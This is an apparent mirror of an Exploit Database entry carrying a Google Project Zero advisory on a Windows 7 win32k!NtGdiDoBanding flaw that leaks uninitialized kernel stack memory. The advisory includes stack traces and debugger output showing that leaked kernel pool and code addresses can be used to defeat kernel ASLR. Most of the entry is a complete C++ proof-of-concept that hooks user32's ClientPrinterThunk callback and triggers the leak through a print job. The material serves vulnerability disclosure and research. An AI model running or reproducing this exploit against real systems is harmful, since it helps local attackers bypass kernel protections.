Microsoft Windows Kernel – ‘win32k!NtGdiDoBanding’ Stack Memory Disclosure

• Exploit Database
• 121 阅读

• 作者： Google Security Research
  日期： 2017-09-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42749/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1304   We have discovered that the win32k!NtGdiDoBanding system call discloses portions of uninitialized kernel stack memory to user-mode clients.   More specifically, exactly 8 bytes of uninitialized kernel stack memory are copied to ring-3 in one of two execution contexts (unique stack traces):   --- 1 --- #0 win32k.sys!memcpy+00000033 #1 win32k.sys!UMPDOBJ::ThunkMemBlock+00000047 #2 win32k.sys!UMPDDrvStartBanding+000000b1 #3 win32k.sys!GreDoBanding+000000ad #4 win32k.sys!NtGdiDoBanding+0000001f #5 ntoskrnl.exe!KiSystemServicePostCall+00000000 --- 1 ---   ... and ...   --- 2 --- #0 win32k.sys!memcpy+00000033 #1 win32k.sys!UMPDOBJ::ThunkMemBlock+00000047 #2 win32k.sys!UMPDDrvNextBand+000000b1 #3 win32k.sys!GreDoBanding+0000011e #4 win32k.sys!NtGdiDoBanding+0000001f #5 ntoskrnl.exe!KiSystemServicePostCall+00000000 --- 2 ---   The names and offsets are specific to Windows 7 32-bit from February 2017, as symbols for the latest win32k.sys are not available from the Microsoft Symbol Server at the moment. The leaked bytes origin from the stack frame of the win32k!NtGdiDoBanding function (top-level syscall handler), and a pointer to the uninitialized buffer is passed down to win32k!GreDoBanding in the third argument.   The attached proof-of-concept program can be used to reproduce the vulnerability on Windows 7 32-bit. On our test virtual machine, the output is as follows:   --- cut --- [+] Leaked data: 00000bf8 00460000 [+] Leaked data: ff9ed130 969e68ad [+] Leaked data: ff9ed130 969e68ad [+] Leaked data: ff9ed130 969e68ad ... --- cut ---   As it turns out, 0xff9ed130 is a valid paged session pool address, and 0x969e68ad is a valid code address within win32k.sys:   --- cut --- 3: kd> !pool ff9ed130 Pool page ff9ed130 region is Paged session pool ff9ed000 size:118 previous size:0(Allocated)Usqu *ff9ed118 size:ee8 previous size:118(Allocated) *GDev Pooltag GDev : Gdi pdev   3: kd> u 969e68ad win32k!EngReleaseSemaphore+0x2f6: 969e68ad c3ret 969e68ae 90nop 969e68af 90nop 969e68b0 90nop 969e68b1 90nop 969e68b2 90nop 969e68b3 8bffmov edi,edi 969e68b5 55pushebp --- cut ---   Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */   #include <Windows.h> #include <cstdio>   namespace globals { LPVOID(WINAPI *OrigClientPrinterThunk)(LPVOID); }// namespace globals   PVOID *GetUser32DispatchTable() { __asm { mov eax, fs:30h mov eax, [eax + 0x2c] } }   BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) { PVOID *DispatchTable = GetUser32DispatchTable(); DWORD OldProtect;   if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) { printf("VirtualProtect#1 failed, %d\n", GetLastError()); return FALSE; }   *lpOrigHandler = DispatchTable[Index]; DispatchTable[Index] = lpNewHandler;   if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) { printf("VirtualProtect#2 failed, %d\n", GetLastError()); return FALSE; }   return TRUE; }   LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) { LPDWORD DwordData = (LPDWORD)Data; if (DwordData[0] == 0x1c && (DwordData[1] == 0x39 || DwordData[1] == 0x3a)) { LPDWORD LeakedData = (LPDWORD)DwordData[6]; printf("[+] Leaked data: %.8x %.8x\n", LeakedData[0], LeakedData[1]); }   return globals::OrigClientPrinterThunk(Data); }   int main() { // Hook the user32!ClientPrinterThunk callback. if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) { printf("Hooking ClientPrinterThunk failed.\n"); return 1; }   // Obtain a print job DC. PRINTDLGA pd = { 0 }; pd.lStructSize = sizeof(pd); pd.Flags = PD_RETURNDEFAULT | PD_ALLPAGES | PD_RETURNDC | PD_PRINTTOFILE; pd.nFromPage = 1; pd.nToPage = 1; pd.nCopies = 1;   if (!PrintDlgA(&pd)) { printf("PrintDlgA failed.\n"); return 1; }   // Initialize the print job. DOCINFOA doc_info = { 0 }; doc_info.cbSize = sizeof(doc_info); doc_info.lpszDocName = "Document"; doc_info.lpszOutput = "C:\\Windows\\Temp\\output";   if (StartDocA(pd.hDC, &doc_info) <= 0) { printf("StartDoc failed.\n"); return 1; }   if (StartPage(pd.hDC) <= 0) { printf("StartPage failed.\n"); return 1; }   // // The bug is triggered here. // EndPage(pd.hDC);   // Free resources. EndDoc(pd.hDC); DeleteDC(pd.hDC);   return 0; }